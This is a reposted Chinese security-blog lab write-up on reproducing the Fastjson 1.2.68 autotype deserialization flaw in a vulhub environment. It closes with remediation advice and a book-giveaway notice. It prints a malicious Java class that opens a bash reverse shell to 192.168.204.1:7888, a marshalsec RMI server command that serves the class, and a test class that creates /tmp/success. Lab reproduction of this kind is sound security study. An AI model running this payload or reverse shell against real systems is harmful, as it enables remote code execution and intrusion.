搜索

[20632] 2021-06-28_Fastjson1.2.68反序列化复现（文末送书）

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-18
2021-06-28_Fastjson1.2.68反序列化复现（文末送书） F a s t j s o n 1 . 2 . 6 8 反 序 列 化 复 现 （ 文 末 送 书 ） 原 创   胖 虎   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 6 - 2 8 收 录 于 话 题 # 渗 透 测 试   , 1 9 # 信 息 安 全   , 1 9 # 漏 洞 挖 掘   , 5   利 用 前 提 : f a s t j s o n   < = 1 . 2 . 6 8 , 打 开 了 a u t o t y p e   搭 建 环 境 搭 建 环 境 使 用 v u l - h u b   搭 建 漏 洞 环 境   访 问 搭 好 的 环 境 看 到 j s o n 数 据 就 表 示 搭 建 成 功
  搭 建 攻 击 方 搭 建 攻 击 方 w e b 环 境 环 境 假 设 攻 击 机 为 A       被 攻 击 机 为 B 在 A 上 搭 好 w e b 服 务 和 r m i 服 务 , 并 且 能 够 让 B 访 问 主 机 A   恶 意 类 如 下 , 在 / t m p 下 创 建 s u c c e s s 文 件 夹     编 译 好 c l a s s 文 件 后 搭 建 r m i 服 务   搭 建 攻 击 方 搭 建 攻 击 方 R M I 服 务 服 务 搭 建 r m i 服 务 需 要 用 到 m a r s h a l s e c   注 : 恶 意 类 的 c l a s s 文 件 前 要 加 # , 而 且 不 需 要 加 文 件 后 缀 i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   T o u c h F i l e   {       s t a t i c   {               t r y   {                       R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                       S t r i n g [ ]   c o m m a n d s   =   { " t o u c h " , " / t m p / s u c c e s s " } ;                       P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                       p c . w a i t F o r ( ) ;               }   c a t c h   ( E x c e p t i o n   e )   {                       / /   d o   n o t h i n g               }         } } j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r m a r s h a l s e c . j n d i . R M I R e f S e r v e r " h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 / f a s t j s o n / # T o u c h F i l e "   9 9 9 9
    构 造 恶 意 请 求 构 造 恶 意 请 求 注 意 红 色 框 重 点     R M I 服 务 后 面 跟 A 主 机 开 放 的 域 名 ( i p ) : 端 口 / 恶 意 类 名 称   发 送 恶 意 请 求 后 , r m i 监 听 的 口 会 收 到 B 主 机 的 连 接 并 读 取 恶 意 类 , 如 果 没 有 监 听 到 就 代 表 失 败 了 响 应 包 如 下     查 看 命 令 是 否 被 执 行 查 看 命 令 是 否 被 执 行 使 用 d o c k e r   p s 和   d o c k e r   e x e c   - i t   ( 镜 像 i d )   / b i n / b a s h   进 入 d o c k e r 搭 建 好 的 虚 拟 机 内
    发 现 / t m p / s u c c e s s   创 建 成 功   代 表 恶 意 类 中 的 代 码 被 成 功 执 行       反 弹 反 弹 s h e l l 构 建 恶 意 类     代 码 如 下 :     使 用 n c 监 听 7 8 8 8 端 口 i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   R e C o n n {       s t a t i c   {               t r y   {                       R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                       S t r i n g [ ]   c o m m a n d s   =   { " / b i n / b a s h " , " - c " , " b a s h   - i > &   / d e v / t c p / 1 9 2 . 1 6 8 . 2 0 4 . 1 / 7 8 8 8   0 > & 1 " } ;                       P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                       p c . w a i t F o r ( ) ;               }   c a t c h   ( E x c e p t i o n   e )   {                       / /   d o   n o t h i n g               }         } }
  开 启 R M I 服 务   恶 意 请 求   结 果   批 量 检 测 工 具 批 量 检 测 工 具 f a s t j s o n   s c a n
  修 复 建 议 修 复 建 议         1 、 升 级   F a s t j s o n   到 最 新 版 ( > = 1 . 2 . 6 8   新 增 了 s a f e m o d e ,   彻 底 关 闭 a u t o t y p e ) ；         2 、 W A F 拦 截 过 滤 请 求 包 中 的   @ t y p e 、 % u 0 0 4 0 % u 0 0 7 4 % u 0 0 7 9 % u 0 0 7 0 % u 0 0 6 5 ,   u 0 0 4 0 t y p e , x 0 4 t y p e 等 多 种 编 码 的 a u t o t y p e   变 形 ；         3 、 最 少 升 级 到 1 . 2 . 4 8 以 上 版 本 且 关 闭 a u t o t y p e   选 项 ； 升 级 对 应 J D K 版 本 到 8 u 1 9 1 / 7 u 2 0 1 / 6 u 2 1 1 / 1 1 . 0 . 1   以 上 。   1 . 《 从 实 践 中 学 习 T C P / I P 协 议 》 从 理 论 、 应 用 和 实 践 三 个 维 度 讲 T C P / I P ； 通 过 9 6 个 实 例 带 你 从 实 践 中 学 习 ； 结 合 W i r e s h a r k 和 n e t w o x 工 具 讲 解 ； 详 解 A R P 、 D H C P 、 D N S 、 S N M P 、 T e l n e t 和 W H O I S 等 协 议 。 2 . 《 从 实 践 中 学 习 M e t a s p l o i t   5 渗 透 测 试 》
从 理 论 、 应 用 和 实 践 三 个 维 度 讲 解 新 版 M e t a s p l o i t   5 渗 透 测 试 ; 通 过 1 5 3 个 操 作 实 例 手 把 手 带 你 学 习 和 实 践 ； 涵 盖 环 境 搭 建 、 漏 洞 信 息 获 取 、 项 目 准 备 、 实 施 攻 击 、 漏 洞 利 用 等 。 3 . 《 从 实 践 中 学 习 W i n d o w s 渗 透 测 试 》 从 理 论 、 应 用 和 实 践 三 个 维 度 讲 解 W i n d o w s 渗 透 测 试 的 相 关 知 识 通 过 1 3 6 个 操 作 实 例 手 把 手 带 领 读 者 从 实 践 中 学 习 W i n d o w s 渗 透 测 试 4 . 《 w e b 防 火 墙 构 建 》
从 理 论 、 应 用 和 实 践 三 个 维 度 介 绍 W e b 防 火 墙 构 建 的 相 关 知 识 由 浅 入 深 地 剖 析 O S I 模 型 中 不 同 层 级 的 攻 击 原 理 和 防 御 方 法 涵 盖 环 境 搭 建 、 攻 击 类 型 、 攻 击 示 例 、 攻 击 过 程 分 析 、 防 御 方 法 … … 5 . 《 从 实 践 中 学 习 从 实 践 中 学 习 K a l i   L i n u x 渗 透 测 试 》 渗 透 测 试 》 从 理 论 、 应 用 和 实 践 三 个 维 度 讲 解 K a l i   L i n u x 渗 透 测 试 的 相 关 知 识 通 过 1 4 5 个 操 作 实 例 手 把 手 带 领 读 者 从 实 践 中 学 习 K a l i   L i n u x 渗 透 测 试 技 术 涵 盖 环 境 搭 建 、 信 息 收 集 、 漏 洞 扫 描 与 利 用 、 嗅 探 欺 骗 、 密 码 攻 击 、 无 线 渗 透 … … 基 于 K a l i   L i n u x 滚 动 更 新 （ K a l i   R o l l i n g ） 版 本 写 作 重 点 介 绍 渗 透 测 试 三 大 环 节 ： 信 息 收 集 、 漏 洞 扫 描 、 漏 洞 利 用
活 动 详 情 活 动 详 情 为 了 感 谢 一 直 关 注 我 们 K h a n 安 全 攻 防 实 验 室 的 粉 丝 们 ， 我 们 将 送 出 由 机 械 工 业 出 版 社 赞 助 的 信 息 安 全 图 书 （ 任 选 其 中 一 本 ） 参 与 规 则 ： 1 . 关 注 K h a n 安 全 攻 防 实 验 室 安 全 攻 防 实 验 室 公 众 号 2 . 转 发 本 文 至 朋 友 圈 并 保 存 至 开 奖 时 间 不 可 设 置 分 组 （ 设 置 分 组 无 效 ） 点 击 赞 赞 、 在 看 在 看 并 加 上 一 句 祝 福 语 说 不 定 会 增 加 中 奖 率 哦 。 3 . 抽 奖 结 束 凭 朋 友 圈 截 图 联 系 我 上 次 抽 奖 的 礼 品 ， 粉 丝 非 常 满 意 ， 感 谢 大 家 长 久 以 来 的 支 持 ！

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理